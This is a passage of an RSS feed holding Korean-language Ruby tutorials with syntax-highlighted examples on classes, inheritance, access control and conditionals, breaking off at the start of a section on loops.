  생성자와 인스턴스 변수
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Dog&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# 인스턴스 변수&lt;/span&gt;
    &lt;span class="vi"&gt;@breed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;breed&lt;/span&gt;
    &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bark&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Ruff! Ruff!'&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;display&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I am of &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@breed&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; breed and my name is &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Dog&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Labrador'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Benzy'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 객체 ID 확인&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"The id of d is &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;."&lt;/span&gt;

&lt;span class="c1"&gt;# 메서드 존재 여부 확인&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;respond_to?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"talk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;talk&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Sorry, d doesn't understand the 'talk' message."&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bark&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display&lt;/span&gt;

&lt;span class="c1"&gt;# 객체 참조 복사&lt;/span&gt;
&lt;span class="n"&gt;d1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
&lt;span class="n"&gt;d1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display&lt;/span&gt;

&lt;span class="c1"&gt;# nil 참조&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;
&lt;span class="c1"&gt;# d1 = nil  # 이 시점에서 Dog 객체는 GC 대상&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  method_missing
&lt;/h2&gt;

&lt;p&gt;존재하지 않는 메서드 호출 시 처리합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Dummy&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;method_missing&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"There's no method called &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; here -- please try again."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="no"&gt;Dummy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;anything&lt;/span&gt;
&lt;span class="c1"&gt;# 출력: There's no method called anything here -- please try again.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  클래스에 메서드 추가
&lt;/h2&gt;

&lt;h3&gt;
  
  
  기존 클래스에 메서드 추가
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require_relative&lt;/span&gt; &lt;span class="s1"&gt;'p030motorcycle'&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;MotorCycle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Yamaha'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'red'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start_engine&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MotorCycle&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;disp_attr&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Color of MotorCycle is '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="vi"&gt;@color&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Make of MotorCycle is '&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="vi"&gt;@make&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disp_attr&lt;/span&gt;
&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start_engine&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  기본 클래스에 메서드 추가
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;write_size&lt;/span&gt;
    &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;size_writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Tell me my size!"&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;size_writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_size&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  상속
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Mammal&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;breathe&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"inhale and exhale"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Mammal&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;speak&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Meow"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="n"&gt;rani&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Cat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
&lt;span class="n"&gt;rani&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;breathe&lt;/span&gt;
&lt;span class="n"&gt;rani&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;speak&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  메서드 오버라이드
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Bird&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;preen&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I am cleaning my feathers."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fly&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"I am flying."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Penguin&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Bird&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fly&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Sorry. I'd rather swim."&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Penguin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
&lt;span class="nb"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preen&lt;/span&gt;
&lt;span class="nb"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  super 키워드
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Dog&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="vi"&gt;@breed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;breed&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Lab&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Dog&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;breed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="vi"&gt;@name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;to_s&lt;/span&gt;
    &lt;span class="s2"&gt;"(&lt;/span&gt;&lt;span class="si"&gt;#@breed&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="si"&gt;#@name&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="no"&gt;Lab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Labrador"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"Benzy"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  추상 클래스
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AbstractKlass&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;welcome&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ConcreteKlass&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;AbstractKlass&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="s2"&gt;"Hello"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="s2"&gt;"Ruby students"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="no"&gt;ConcreteKlass&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;welcome&lt;/span&gt;  &lt;span class="c1"&gt;# "Hello Ruby students"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  접근 제어
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ClassAccess&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;m1&lt;/span&gt;          &lt;span class="c1"&gt;# public&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="kp"&gt;protected&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;m2&lt;/span&gt;        &lt;span class="c1"&gt;# protected&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="kp"&gt;private&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;m3&lt;/span&gt;        &lt;span class="c1"&gt;# private&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# 또는&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ClassAccess&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;m1&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="kp"&gt;public&lt;/span&gt; &lt;span class="ss"&gt;:m1&lt;/span&gt;
  &lt;span class="kp"&gt;protected&lt;/span&gt; &lt;span class="ss"&gt;:m2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:m3&lt;/span&gt;
  &lt;span class="kp"&gt;private&lt;/span&gt; &lt;span class="ss"&gt;:m4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:m5&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  클래스 구조 확인
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 메서드 구조 확인&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;private_methods&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;

&lt;span class="c1"&gt;# 부모 클래스 확인&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ancestors&lt;/span&gt;

&lt;span class="c1"&gt;# Object ID&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"string"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"string"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object_id&lt;/span&gt;  &lt;span class="c1"&gt;# 다른 ID&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/programming/ruby/2025/12/28/ruby-classes.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ruby</category>
      <category>class</category>
      <category>oop</category>
    </item>
    <item>
      <title>Ruby 제어문 - 조건문과 반복문</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Wed, 31 Dec 2025 04:41:29 +0000</pubDate>
      <link>https://forem.com/dss99911/ruby-jeeomun-jogeonmungwa-banbogmun-3236</link>
      <guid>https://forem.com/dss99911/ruby-jeeomun-jogeonmungwa-banbogmun-3236</guid>
      <description>&lt;p&gt;Ruby의 조건문과 반복문에 대해 알아봅니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  조건문
&lt;/h2&gt;

&lt;h3&gt;
  
  
  if / else
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Jonathan'&lt;/span&gt;
&lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Jonathan'&lt;/span&gt;
&lt;span class="n"&gt;s3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Both Strings have identical content'&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Both Strings do not have identical content'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  elsif
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'Satish'&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'What a nice name!!'&lt;/span&gt;
&lt;span class="k"&gt;elsif&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'Sunil'&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s1"&gt;'Another nice name!'&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  unless
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;if not&lt;/code&gt;과 동일합니다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="no"&gt;ARGV&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Usage: program.rb 23 45"&lt;/span&gt;
  &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  한 줄 조건문
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Enrollments will now Stop"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;participants&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2500&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  case / when
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;year&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;
&lt;span class="n"&gt;leap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;case&lt;/span&gt;
       &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="n"&gt;year&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
       &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="n"&gt;year&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
       &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;year&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
       &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;leap&lt;/span&gt;  &lt;span class="c1"&gt;# true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  반복문
&lt;/h2&gt;

&lt;h3&gt;
  
  
  times
